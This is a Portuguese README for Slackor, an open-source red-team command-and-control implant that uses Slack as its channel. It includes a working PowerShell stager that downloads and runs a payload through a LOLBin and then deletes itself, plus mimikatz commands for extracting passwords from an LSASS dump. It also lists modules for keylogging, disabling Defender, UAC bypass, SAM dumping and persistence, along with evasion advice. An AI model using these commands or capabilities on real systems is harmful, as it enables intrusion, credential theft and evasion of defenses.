Slackor

Mantido em https://github.com/n00py/Slackor

Um implant em Golang que usa o Slack como canal de comando e controle.

Este projeto foi inspirado por Gcat e Twittor.

Esta ferramenta é lançada como prova de conceito. Certifique-se de ler e compreender a Política de Desenvolvedor de Apps do Slack antes de criar qualquer app Slack.

Configuração

Nota: O servidor é escrito em Python 3

Para que isso funcione você precisa:

• Um Workspace do Slack

• Registrar um app com as seguintes permissões:

  • channels:read
  • channels:history
  • channels:write
  • files:write:user
  • files:read

• Criar um bot

Este repositório contém cinco arquivos:

• install.sh Instala dependências
• setup.py O script para criar os canais do Slack, banco de dados e implant
• agent.py Script para gerar novos implants
• server.py O servidor Slackor, projetado para ser executado no Linux
• agent.go O implant em Golang
• requirements.txt Dependências Python (instaladas automaticamente)

Para começar:

• go get github.com/Coalfire-Research/Slackor
• cd $GOPATH/src/github.com/Coalfire-Research/Slackor
• Execute install.sh
• Execute setup.py
  • Forneça o OAuth Access Token e o Bot User OAuth Access Token do seu app

Após executar o script com sucesso, vários arquivos serão criados no diretório dist/:

• agent.windows.exe: Binário Windows 64 bits
• agent.upx.exe: Binário Windows 64 bits, empacotado com UPX
• agent.darwin: Binário macOS 64 bits
• agent.32.linux: Binário Linux 32 bits
• agent.64.linux: Binário Linux 64 bits

Após iniciar server.py em um host Linux, execute o agente apropriado para seu host alvo.

Execute o módulo "stager" para gerar um one-liner e outros droppers.

powershell.exe iwr [URL] -o C:\Users\Public\[NOME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NOME]; timeout 2; del C:\Users\Public\[NOME].exe

Isto executará InvokeWebRequest (PS v.3+) para baixar o payload, executá-lo usando um LOLBin e, em seguida, excluir a si mesmo após ser encerrado. Este é um exemplo funcional, mas o comando pode ser ajustado para usar outro método de download ou execução.

Uso

Digite "help" ou pressione [TAB] para ver uma lista de comandos disponíveis. Digite "help [COMANDO]" para ver uma descrição desse comando.

(Slackor)

• help - Exibe o menu de ajuda
• interact - Interagir com um agente
• list - Listar todos os agentes registrados
• remove - Matar e remover um agente
• revive - Envia um sinal para todos os agentes se registrarem novamente no servidor
• stager - Gera um one-liner para baixar e executar o implant
• quit - Sair do programa
• wipefiles - Exclui todos os arquivos enviados do Slack

Assim que um agente fizer check-in, você pode interagir com ele. Use "interact [AGENTE]" para entrar em um prompt do agente. Digite "help" ou pressione [TAB] para ver uma lista de comandos disponíveis.

(Slackor:AGENTE)

• Comandos Comuns
  • back - Retornar ao menu principal
  • beacon - Alterar o tempo entre cada check-in de um agente (padrão é 5 segundos)
  • download - Baixar um arquivo do agente para o servidor Slackor
  • help - Exibe o menu de ajuda
  • kill - Matar o agente
  • sleep - Fazer o agente dormir uma vez (insira o tempo em segundos)
  • sysinfo - Exibe o usuário atual, versão do SO, arquitetura do sistema e número de núcleos de CPU
  • upload - Enviar um arquivo para o agente a partir do servidor Slackor
  • wget - Baixar arquivos arbitrários via HTTP/HTTPS
• Comandos Windows
  • bypassuac - Tenta gerar um agente de alta integridade
  • cleanup - Remove artefatos de persistência
  • clipboard - Recupera o conteúdo da área de transferência
  • defanger - Tenta desativar o Windows Defender
  • duplicate - Faz o agente gerar outra invocação de si mesmo
  • getsystem - Gera um agente como NTAUTHORITY/SYSTEM
  • keyscan - Inicia um keylogger no agente
  • minidump - Despeja a memória do lsass.exe e a baixa
  • persist - Cria persistência implantando um binário em um ADS
  • samdump - Tenta despejar o arquivo SAM para extração offline de hashes
  • screenshot - Captura uma imagem da área de trabalho e a recupera
  • shellcode - Executa shellcode x64 bruto
• Comandos Mac
• Comandos Linux
  • screenshot - Captura uma imagem da área de trabalho e a recupera

Considerações de OPSEC

A saída dos comandos e os arquivos baixados são criptografados com AES, além da criptografia de transporte TLS do Slack.

Os módulos avisarão antes de executar tarefas que gravam no disco. Ao executar comandos de shell, lembre-se de que cmd.exe/bash serão executados. Isso pode ser monitorado no host. Aqui estão vários comandos seguros para OPSEC que NÃO executarão cmd.exe/bash:

• cat - exibe o conteúdo do arquivo
• cd - mudar diretório
• find - pesquisar nomes de arquivos no diretório
• getip - Obter endereço IP externo (faz uma requisição DNS)
• hostname - Exibe o nome do host
• ifconfig - Exibe informações de interface
• ls - listar conteúdo do diretório
• mkdir - Cria um diretório
• pwd - exibe o diretório de trabalho atual
• rm - remove um arquivo
• rmdir - remove um diretório
• whoami / getuid - exibe o usuário atual

Créditos

• https://github.com/EgeBalci - Funções adaptadas de HERCULES e EGESPLOIT
• https://github.com/SaturnsVoid - Keylogger adaptado de GoBot2
• https://github.com/vyrus001 - Execução de shellcode x64 shellGo
• Funções criptográficas adotadas de https://www.golang123.com/topic/1686
• Ideia de persistência de Enigma0x3
• Minidump adaptado de Merlin, crédito a C-Sto
• Código de screenshot de kbinani
• Código de clipboard de atotto
• Gerador de stager de hlldz
• Bypass de UAC por winscripting.blog
• Descoberta de Lulzbin por @vector_sec
• Incontáveis tópicos no StackOverflow
• Agradecimentos ao impacket por despejar hashes de hives do registro SAM/SYS/SECURITY.
• Extração de credenciais do dump LSASS tornada possível usando pypykatz por skelsec
• Bob Aman (Sporkmonger) por várias adições

Metas futuras

• DOSfuscation
• Carregar refletivamente DLL/PE - https://github.com/vyrus001/go-mimikatz
• Executar assemblies C# na memória - https://github.com/lesnuages/go-execute-assembly
• Ofuscação de código fonte - https://github.com/unixpickle/gobfuscate

FAQ:

É seguro usar para red teams/pentests?

Sim, sob algumas condições. Embora os dados sejam criptografados em trânsito, o agente contém a chave para descriptografia. Qualquer pessoa que adquira uma cópia do agente pode fazer engenharia reversa e extrair as chaves da API e a chave secreta AES. Qualquer pessoa que comprometa ou obtenha acesso ao workspace poderá recuperar todos os dados nele contidos. Por esse motivo, não é recomendado reutilizar a infraestrutura contra múltiplas organizações.

E o Mimikatz?

O implant não possui funcionalidade de despejo de senhas em memória. Se você precisar de logonPasswords, pode tentar o seguinte:

(Slackor: AGENTE)minidump

Isso extrairá automaticamente as senhas com Pypykatz. Alternativamente, você pode usar o Mimikatz no Windows.

>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords

É multiplataforma?

Tem suporte multiplataforma limitado. Não foi totalmente testado em todos os sistemas nos quais pode ser executado. O servidor foi projetado para ser executado no Kali Linux. O agente é compilado para Windows, Mac e Linux, mas foi principalmente testado no Windows 10. Agentes podem lidar incorretamente com comandos não suportados pela plataforma do agente (não tente fazer minidump em um Mac).

Qual a escalabilidade?

A escalabilidade é limitada pela API do Slack. Se você tiver vários agentes, considere aumentar o intervalo de beacon dos beacons não utilizados.

É vulnerável à análise padrão de beacons?

Atualmente, cada beacon possui 20% de jitter embutido, e os tempos de beacon podem ser personalizados. Os pacotes de requisição e resposta de check-in do agente terão aproximadamente o mesmo tamanho a cada vez, desde que nenhum novo comando seja recebido.

Por que você fez [x] quando uma maneira melhor de fazer isso é [y]?

Tentei o meu melhor. PRs são bem-vindos :)

É detectado por AV!

Com isso sendo open source agora, é inevitável que haja problemas. Vou corrigir módulos conforme possível, mas não há garantia de que isso bypassará todos os AVs em todos os momentos.